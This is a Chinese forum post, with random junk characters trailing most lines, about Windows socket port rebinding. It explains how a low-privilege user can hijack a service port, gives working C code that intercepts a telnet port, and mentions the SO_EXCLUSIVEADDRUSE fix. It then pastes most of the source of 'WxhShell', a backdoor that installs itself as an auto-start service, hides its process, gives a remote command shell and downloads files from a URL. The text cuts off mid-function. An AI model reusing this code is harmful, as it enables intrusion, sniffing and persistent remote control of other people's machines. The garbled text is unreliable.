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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /V~(!S>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?Eed#pb_  
9i@*\Ada  
  saddr.sin_family = AF_INET; |tkmO:  
,;g:qe3D$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l\)Q3.w  
LBzpaLd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X^`ld&^*({  
K7U<~f$OiN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qW9|&GuZ$  
6Z 7$ZQ~  
  这意味着什么?意味着可以进行如下的攻击: b`' ;`*AN+  
Mmn[ol  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ) PtaX|U  
+4 dHaj6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e3.TGv7=  
XT\;2etVL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &yuerNK  
ZsE8eD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7u;B[qH  
#HML=qK~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Ti?(n#M>  
`|4{|X*U.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6FfDif  
q~Ud>{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #gq3 e  
tpS F[W  
  #include BFY~::<b  
  #include R_csKj  
  #include 4)?c[aC4P  
  #include    5M3QRJ!  
  DWORD WINAPI ClientThread(LPVOID lpParam);    GY>0v  
  int main() mcvTz, ; =  
  { h6#  
  WORD wVersionRequested; c?|/c9f  
  DWORD ret; 9Rpj&0Is  
  WSADATA wsaData; m@~HHwj  
  BOOL val; IkupW|}rc  
  SOCKADDR_IN saddr; x&sF_<[  
  SOCKADDR_IN scaddr; ({)_[dJ'  
  int err; q /#O :Q  
  SOCKET s; $O[ut.   
  SOCKET sc; ( %bfNs|  
  int caddsize; w ^A0l.{  
  HANDLE mt; M9MEQK  
  DWORD tid;   e.Ii@<  
  wVersionRequested = MAKEWORD( 2, 2 ); ZyTah\yPM  
  err = WSAStartup( wVersionRequested, &wsaData ); IMBqy-q  
  if ( err != 0 ) { RGcT  
  printf("error!WSAStartup failed!\n"); Q x:+n`$/  
  return -1; XHW{EVcF  
  } z-,'W`  
  saddr.sin_family = AF_INET; 2- )Ml*  
   l{ k   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'lWNU   
nV'B!q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i^=an?}/  
  saddr.sin_port = htons(23); f,$FrI,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H_ x35|"  
  { bF3j*bpO"  
  printf("error!socket failed!\n"); uzsR*x%s-  
  return -1; s;A]GJ  
  } YO=;)RA  
  val = TRUE; SU*P@?:/}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nC z[#t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]M_)f  
  { Vi]D](^!  
  printf("error!setsockopt failed!\n"); Q)v8hNyUmA  
  return -1; sQR;!-j  
  } ] O 2_&cs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T_r[#j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *rWE.4=&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0KEytm]  
q.#aeqKBP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Od"-w<'  
  { ,L`qV  
  ret=GetLastError(); L&eO?I=,  
  printf("error!bind failed!\n"); n^'{{@&(v  
  return -1; NKd):>d%  
  } v5&WW?IBQ  
  listen(s,2); eudPp"Km  
  while(1) \HRQSfGt  
  { y`'Ly@s  
  caddsize = sizeof(scaddr); L%fWa2P'  
  //接受连接请求 3b|.L Jz+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D4@=+  
  if(sc!=INVALID_SOCKET) %$b 5&>q  
  { $ \jly  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &98qAO]Z  
  if(mt==NULL) F M`pPx  
  { n 6oVx 5/  
  printf("Thread Creat Failed!\n"); |ek*wo  
  break; e&E*$G@.7  
  } qWo|LpxWt  
  } DD;PmIW  
  CloseHandle(mt); "|f;   
  } m|p}Jf!  
  closesocket(s); }V`Fz',lZ  
  WSACleanup(); Q&wBX%@^L  
  return 0; S!rUdxO  
  }   7/Ew(X8Fs  
  DWORD WINAPI ClientThread(LPVOID lpParam) CvlAn7r,@  
  { tr):n@  
  SOCKET ss = (SOCKET)lpParam; ao 32n  
  SOCKET sc; m^p Q55,   
  unsigned char buf[4096]; fz<Y9h=  
  SOCKADDR_IN saddr; _oR6^#5#  
  long num;  =#8J9  
  DWORD val; NAL%qQ  
  DWORD ret; 5-n N8qs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @w@rW }i0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wjpkh~ qo  
  saddr.sin_family = AF_INET; 7GKeqv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u K 8 r  
  saddr.sin_port = htons(23); .2OP>:9F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0(teplo&P  
  { OS,-dG(  
  printf("error!socket failed!\n"); nQ8EV>j2  
  return -1; =_=jXWOQv  
  } )5&Wt@7Kj`  
  val = 100; >4bOM@[]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A*W QdY  
  { Ie``W b=  
  ret = GetLastError(); p_tMl%K  
  return -1; =$f xK  
  } [4 "%NY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^ .>)*P  
  { 5JQq?e)n  
  ret = GetLastError(); ""TRLs!:M  
  return -1; h%#@Xd>.  
  } D7 A{*Tm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I9B B<~4o  
  { }k'8*v}8  
  printf("error!socket connect failed!\n"); HD Eqq  
  closesocket(sc); )07M8o !^l  
  closesocket(ss); QiY7m<3  
  return -1; tBdvk>d  
  } erqg|TsFj  
  while(1) "x&H*"  
  { M=@U]1n*c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MwXgaSV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yv,90+k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,X+071.(  
  num = recv(ss,buf,4096,0); q18dSu  
  if(num>0) L[ rJ7:  
  send(sc,buf,num,0); lkBab$S)  
  else if(num==0) :y 0'[LV  
  break; iQ~cG[6  
  num = recv(sc,buf,4096,0); (,HA Os  
  if(num>0) }?"f#bI  
  send(ss,buf,num,0); Dr<%Lr  
  else if(num==0) 90M:0SH  
  break; H~&9xtuHN  
  } h|_G2p^J+"  
  closesocket(ss); M`A bH19  
  closesocket(sc); 1 BVivEG  
  return 0 ; ;z!~-ByzL  
  } m&b!\"0  
.b5B7 x}  
Ywlym\ [+  
========================================================== =v1s@5 ;~  
R>#T {<<L  
下边附上一个代码,,WXhSHELL t:$p8qR  
t4 h5R  
========================================================== H<dm;cU  
QZ%_hvY[%>  
#include "stdafx.h" 5h1FvJg  
o{m$b2BW  
#include <stdio.h> G`gYwgU;  
#include <string.h> B +_D*a  
#include <windows.h> a!4'}gHR  
#include <winsock2.h> SC"=M^E  
#include <winsvc.h> qDOx5.d  
#include <urlmon.h> i7:j(W^I8  
no^I![_M  
#pragma comment (lib, "Ws2_32.lib") 8%I4jL<  
#pragma comment (lib, "urlmon.lib") 7S),:Uy[\  
RVX-3FvP  
#define MAX_USER   100 // 最大客户端连接数 Aln\:1MU  
#define BUF_SOCK   200 // sock buffer T3Qa[>+\  
#define KEY_BUFF   255 // 输入 buffer z_CBOJl#C!  
.#EmE'IP*  
#define REBOOT     0   // 重启 q48V|6X'q  
#define SHUTDOWN   1   // 关机 6d`6=D:  
7_n@iUG2n  
#define DEF_PORT   5000 // 监听端口 ?zKDPBj  
*}cF]8c5W  
#define REG_LEN     16   // 注册表键长度 m3K8hL/  
#define SVC_LEN     80   // NT服务名长度 n+j'FfSz  
7J7uHl`yq`  
// 从dll定义API 592q`m\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fGY. +W_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0|HD(d`a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tJ[Hcx*N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KGzBK:  
y~Sh|2x8v  
// wxhshell配置信息 .,<-lMC+  
struct WSCFG { =M ?  
  int ws_port;         // 监听端口 ~~b[X\1  
  char ws_passstr[REG_LEN]; // 口令 5k<qJ9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4:5CnK  
  char ws_regname[REG_LEN]; // 注册表键名 315Rk!{AJ  
  char ws_svcname[REG_LEN]; // 服务名 !2$O^ }6"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 67')nEQ9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OT\[qaK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zT`LPs6T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l^WFMeMD3a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" , B h[jb`y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )# M*@e$k  
Ga"$_DyM  
}; 2U)H2 %  
k g0Z(T:&8  
// default Wxhshell configuration .pr-  ^  
struct WSCFG wscfg={DEF_PORT, ,z<\Z!+=  
    "xuhuanlingzhe", %)u5A !"  
    1, \P+lb-~\"  
    "Wxhshell", 2Cj?k.Zk  
    "Wxhshell", +Q8B in  
            "WxhShell Service", %v4/.4sR,;  
    "Wrsky Windows CmdShell Service", )9l5gZX'I  
    "Please Input Your Password: ", +^{yJp.H#  
  1, mdtq-v  
  "http://www.wrsky.com/wxhshell.exe", e:6R+8s2  
  "Wxhshell.exe" #p6#,PZ  
    }; 1j9.Q;9  
a&M{y  
// 消息定义模块 Ik(TII_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X+ h|sy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #=q)>+\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t/#[At5p=  
char *msg_ws_ext="\n\rExit."; 9#@dQ/*  
char *msg_ws_end="\n\rQuit."; QY/36gK  
char *msg_ws_boot="\n\rReboot..."; cc Z A  
char *msg_ws_poff="\n\rShutdown..."; w<tr<Pu'  
char *msg_ws_down="\n\rSave to "; -{-w5_B$  
GNT1FR  
char *msg_ws_err="\n\rErr!"; /F5g@ X&  
char *msg_ws_ok="\n\rOK!"; Yhb=^)@))  
tHJ#2X#Y.  
char ExeFile[MAX_PATH]; "fL:scq@0  
int nUser = 0; th2a'y=0  
HANDLE handles[MAX_USER]; }pTy mAN  
int OsIsNt; *U)!9DvA  
qR--lvO  
SERVICE_STATUS       serviceStatus; qWfG@hn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "P~0 7  
6&`.C/"2  
// 函数声明 #7/_Usso  
int Install(void); ix=HLF-0zC  
int Uninstall(void); @c9VCG D  
int DownloadFile(char *sURL, SOCKET wsh); ezY _7  
int Boot(int flag); "'~'xaU!=a  
void HideProc(void); F9^8/Z  
int GetOsVer(void); N;9@-Tb  
int Wxhshell(SOCKET wsl); 3;u*_ ]N_  
void TalkWithClient(void *cs); k"LbB#Q  
int CmdShell(SOCKET sock); w q% 4'(  
int StartFromService(void); >u4%s7 v  
int StartWxhshell(LPSTR lpCmdLine); CVyqr_n65/  
YJ'h=!p}G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sdy\s5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e #> wv]V  
6NVf&;laQ  
// 数据结构和表定义 {*r*+}@  
SERVICE_TABLE_ENTRY DispatchTable[] = k ?X  
{ QyuSle  
{wscfg.ws_svcname, NTServiceMain}, 2a3h m8%U  
{NULL, NULL} SYOND>E  
}; l23_K7  
S ])Ap'E  
// 自我安装 D ?1$I0=  
int Install(void) cP''  
{ L6fc_Mo.EE  
  char svExeFile[MAX_PATH]; 3U!\5Nsby  
  HKEY key; Ig-9Y;hdmn  
  strcpy(svExeFile,ExeFile); XI~2Vzht  
Ec y|l ;  
// 如果是win9x系统,修改注册表设为自启动 T9osueh4  
if(!OsIsNt) { %`t;5kmR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }H&NR?Ax  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tar tV3;`  
  RegCloseKey(key); ^z-e"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hw:zak#j,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " 6Hka{  
  RegCloseKey(key); ==F[5]?  
  return 0; >?ZH[A  
    } h3$.` >l  
  } 3)^-A4~E  
}  {.GC7dx  
else { /d ?)  
rDX_$,3L  
// 如果是NT以上系统,安装为系统服务 Vv~rgNh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,^3eMn  
if (schSCManager!=0) {s6;6>-kPW  
{ 9[N+x2q  
  SC_HANDLE schService = CreateService lX/6u E_%  
  ( 0K <@?cI  
  schSCManager, ?"]fGp6y  
  wscfg.ws_svcname, -o#HO_9  
  wscfg.ws_svcdisp, $?YRy_SI  
  SERVICE_ALL_ACCESS, <03@cs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !j#Z48=&  
  SERVICE_AUTO_START, UQgOtqL3  
  SERVICE_ERROR_NORMAL, WBFG_])  
  svExeFile, @%q0fj8b  
  NULL, ]&`_5pS  
  NULL, JEL =,0J  
  NULL, DBANq\  
  NULL, 9->E$W  
  NULL (9]`3^_,J  
  ); ,R5NKWo  
  if (schService!=0) 5M4mFC6  
  { "K5n|{#  
  CloseServiceHandle(schService); x48Y#"'  
  CloseServiceHandle(schSCManager); 8;mn7XX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fy3&Emu  
  strcat(svExeFile,wscfg.ws_svcname); /Y_F"GQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L']EYK5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dPwe.:  
  RegCloseKey(key); 3 [: x#r  
  return 0; $=uyZTYF)}  
    } T>2)YOx  
  } d?C8rkV'  
  CloseServiceHandle(schSCManager); cobq+Iyu  
} +/y 3]}  
} M)C. bo{p  
D_ybgX?0:  
return 1; r+-KrO'  
} xWWfts1t  
-K hXb  
// 自我卸载 h~)oiT2v  
int Uninstall(void) B- =*"H?q  
{ xwhH_[  
  HKEY key; 2qLRcA=R  
) E.KB6  
if(!OsIsNt) { ^UHt1[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u POmi F  
  RegDeleteValue(key,wscfg.ws_regname); t<mT=(zt*  
  RegCloseKey(key); [hSE^ m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L\|p8jJ  
  RegDeleteValue(key,wscfg.ws_regname); 0 {#c  
  RegCloseKey(key); t-*oVX3D  
  return 0; 9kss) xy  
  } ~n9BN'@x  
} KSU?Tg&JR  
} -Zc 6_]F|  
else { Fn.wd`'0  
=Bo(*%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S^'?s fq  
if (schSCManager!=0) k_?xi OSh  
{ )_N|r$i\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =$;i  
  if (schService!=0) ${Cb1|g>j  
  { (oO*|\9u  
  if(DeleteService(schService)!=0) { q'~ ?azg:  
  CloseServiceHandle(schService); ]4wyuP,up  
  CloseServiceHandle(schSCManager); G&$+8 r  
  return 0; }w .[ZeP  
  } ( P|Ph  
  CloseServiceHandle(schService); f(~xdR))eh  
  } m"*j J.MX  
  CloseServiceHandle(schSCManager); ~H!s{$.5  
} OEmz`JJ67  
} ?n<b:oO  
Ex2TV7I  
return 1;  *X- 6]C  
} '7AlE!7%  
8?#4<4Ql8  
// 从指定url下载文件 !dQG 5v  
int DownloadFile(char *sURL, SOCKET wsh)  C[MZ9 r  
{ ;/?M&rX  
  HRESULT hr; 1H sfCky{  
char seps[]= "/"; epM;u  
char *token; C5oslP/@  
char *file; 8JxJ>I-9p  
char myURL[MAX_PATH]; ??eSGQ|  
char myFILE[MAX_PATH]; j}R!'m(P'  
h{xC0NC)  
strcpy(myURL,sURL); 5ZeE& vG2  
  token=strtok(myURL,seps); >PdYQDyVS  
  while(token!=NULL) hbm%{*d  
  { [iVCorU  
    file=token; L1=+x^WQ  
  token=strtok(NULL,seps); c"`o V! m  
  } Sc03vfmo"N  
~/Gx~P]  
GetCurrentDirectory(MAX_PATH,myFILE); 9}p>='  
strcat(myFILE, "\\"); d 7vD  
strcat(myFILE, file); wBz?OnD/D  
  send(wsh,myFILE,strlen(myFILE),0); 9qc<m'MZ  
send(wsh,"...",3,0); cojtQ D6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (B|4wR\  
  if(hr==S_OK) T"7Ue  
return 0; #'5|$ug[  
else zAT7 ^q^  
return 1; ny# ?^.1  
*J[3f]PBmR  
} \a\-hm  
%Jy0?WN  
// 系统电源模块 *J^l r"%c  
int Boot(int flag) f Z8%Z   
{ _<tWy+.  
  HANDLE hToken; )~/;Xl#b-  
  TOKEN_PRIVILEGES tkp; G.v zz-yG  
1k-YeQNe  
  if(OsIsNt) { Uedzt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8!8 yA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -|E|-'  
    tkp.PrivilegeCount = 1; 0($@9k4!/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oU/CXz?H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kLc}a5;  
if(flag==REBOOT) { hcWYz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SN w3xO!;&  
  return 0; G@s]HJ:  
} 5=< y%VF  
else { kb"g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VVY#g%(K  
  return 0; 9A|deETa-  
} w-f[h  
  } 1Z9_sd~/6  
  else { b.=bgRV2{x  
if(flag==REBOOT) { BS-nny  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pPI'0x  
  return 0; -nBb - y  
} QGv$~A[h  
else { ;%-f>'KhI7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +7yirp~`K  
  return 0; -TIrbYS`  
} W lD cKY  
} Vz=ByyC  
syuW>Z8s  
return 1; Xr?(w(3  
} [VvTR#^  
h8R3N?S3#  
// win9x进程隐藏模块 . X  (^E  
void HideProc(void) n-HQk7=mQ  
{ e_eNtVq  
&Z kY9XO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \0}!qG![AA  
  if ( hKernel != NULL ) u\L=nCtLby  
  { C!]R0L*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M:%6$``  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5m.{ayE  
    FreeLibrary(hKernel); i5f8}`w  
  } uc0 1{t0,  
ld RV JVZc  
return; Z*AT &7  
} M @|n"(P  
_J|TCm  
// 获取操作系统版本 n*'i{P]  
int GetOsVer(void) VnZRsFY<^  
{ ].=~C"s,a  
  OSVERSIONINFO winfo; #3b_ #+,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sj;n1t}$S  
  GetVersionEx(&winfo); Qs38VlR_m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tl:V8sYTP  
  return 1; d|P,e;m-  
  else W^a-K  
  return 0; VR8 kY&  
} HDmjt+3&n  
{}sF ?wZf  
// 客户端句柄模块 gD13(G98  
int Wxhshell(SOCKET wsl) uX.^zg]}%  
{ e8WuAI86  
  SOCKET wsh; b" Z$?5  
  struct sockaddr_in client; pKxsK^O5[  
  DWORD myID; IE)$ .%q;)  
>i6sJ)2?>  
  while(nUser<MAX_USER) l**gM  
{ k-:wM`C  
  int nSize=sizeof(client); q <, b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u[{j;l(  
  if(wsh==INVALID_SOCKET) return 1; ce3UB~Q  
fwkklg^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =:w]EpH"  
if(handles[nUser]==0) `u<\ 4&W  
  closesocket(wsh); -Kas9\VWEw  
else :4Gc'b R  
  nUser++; qjcPJ  
  } @r.w+E=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n7|8`? R^  
p)u?x)w=  
  return 0; Po)!vL"   
} j&(Yk"j+  
%>z4hH,  
// 关闭 socket 6`c5\G+  
void CloseIt(SOCKET wsh) 0[# zn  
{ _#dBcEH[  
closesocket(wsh); s%& /Zt  
nUser--; N$!aP/b  
ExitThread(0); *?JNh;  
} 1Fg*--8[r  
A^2n i=b  
// 客户端请求句柄 7J[DD5  
void TalkWithClient(void *cs) .83{NF  
{ Cr7T=&L  
8[k:FGp>  
  SOCKET wsh=(SOCKET)cs; OV"uIY[%8V  
  char pwd[SVC_LEN]; $fzO:br5WJ  
  char cmd[KEY_BUFF]; rexNsKRK_  
char chr[1]; [%uj+?}6O  
int i,j; ,+d\@:  
PeX^aEc  
  while (nUser < MAX_USER) { H|.cD)&eYy  
xg;o<y KF  
if(wscfg.ws_passstr) { D2y[?RG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #VvU8"u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } SNZl`>  
  //ZeroMemory(pwd,KEY_BUFF); xg^Z. q)d  
      i=0; (^G @-eh  
  while(i<SVC_LEN) { 9hTzi+'S  
f?qp*  
  // 设置超时 up@I,9C/  
  fd_set FdRead; 8PB 8h  
  struct timeval TimeOut; FwjmC%iY  
  FD_ZERO(&FdRead); !RXG{1 :  
  FD_SET(wsh,&FdRead); %w3Y!7+  
  TimeOut.tv_sec=8; >p`ZcFNs"  
  TimeOut.tv_usec=0; vG{lxPIj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V JJ6q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {f(RYj  
R<)^--n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7'g{:dzS*3  
  pwd=chr[0]; =pCO1<wR  
  if(chr[0]==0xd || chr[0]==0xa) { +_T`tmQ  
  pwd=0; lz [s  
  break; @2`$ XWD  
  } !U "?vSl  
  i++; <k'%rz  
    } )Jaq5OMA/  
.N>Th/K8  
  // 如果是非法用户,关闭 socket vTl7x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W^k|*Y|  
} *}P=7TuS  
M%z$yU`ac  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qRc Y(mb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q H 57[Yg  
>Y6iLQ$X  
while(1) { pQNTN.L9NZ  
-<{;.~nI.  
  ZeroMemory(cmd,KEY_BUFF); ,+>JQ82  
PC<[ $~  
      // 自动支持客户端 telnet标准   s L=}d[  
  j=0; 6Bf aB:  
  while(j<KEY_BUFF) { v,d bto0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @OGHS}-\  
  cmd[j]=chr[0]; N \t( rp  
  if(chr[0]==0xa || chr[0]==0xd) { t) l  
  cmd[j]=0; IZs NMY  
  break; >X_5o^s2s  
  } =#>F' A  
  j++; }{S+C[:_  
    } h0aK}`/a  
0}3Xry,{  
  // 下载文件 VK>Cf>  
  if(strstr(cmd,"http://")) { @~CXnc0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^1-Vd5g  
  if(DownloadFile(cmd,wsh)) iF*L-   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hd1aNaF-  
  else P^57a?[`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' 4.T1i,  
  } f 0r?cZ  
  else { AF\gB2^  
Fnc MIzp  
    switch(cmd[0]) { Yv/T6z@  
  .z, ot|  
  // 帮助 {fI"p;|  
  case '?': { H(gETRh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ae>B0#=  
    break; 1W'0h$5^"  
  } @h,3"2W{Ev  
  // 安装 WD>z  
  case 'i': { z'9U.v'M)  
    if(Install()) ,92wW&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNSY@q  
    else gVI{eoJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n09P!],Xa  
    break; se@ ?:n1)  
    } &7r73~TXm  
  // 卸载 Bp-e< :  
  case 'r': { 'Bwv-J  
    if(Uninstall()) x K ;#C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mu{\_JX.A  
    else /liZ|K3A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ugzrG0=lx  
    break; |c[= V?AC  
    } )?{jD  
  // 显示 wxhshell 所在路径 `hf`lq^  
  case 'p': { (>SucUU  
    char svExeFile[MAX_PATH]; O?t49=uB}  
    strcpy(svExeFile,"\n\r"); 9/JB n  
      strcat(svExeFile,ExeFile); V~sfR^FQ'  
        send(wsh,svExeFile,strlen(svExeFile),0); K/0Wp %  
    break; L./{^)  
    } ML.|\:r*  
  // 重启 Nj{;  
  case 'b': { 9~{,Hj1xE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zG)vmysJf  
    if(Boot(REBOOT)) ZkryoIQ%=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[&QoEZW  
    else { l?B=5*0  
    closesocket(wsh);  joBS{]  
    ExitThread(0); E1s~ +  
    } vP%}XEF  
    break; <-DQ(0xg  
    } /s@j{*Om  
  // 关机 s+E: 7T9P  
  case 'd': { bT MgE Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5KTPlqm0qF  
    if(Boot(SHUTDOWN)) 6[,7g&C  
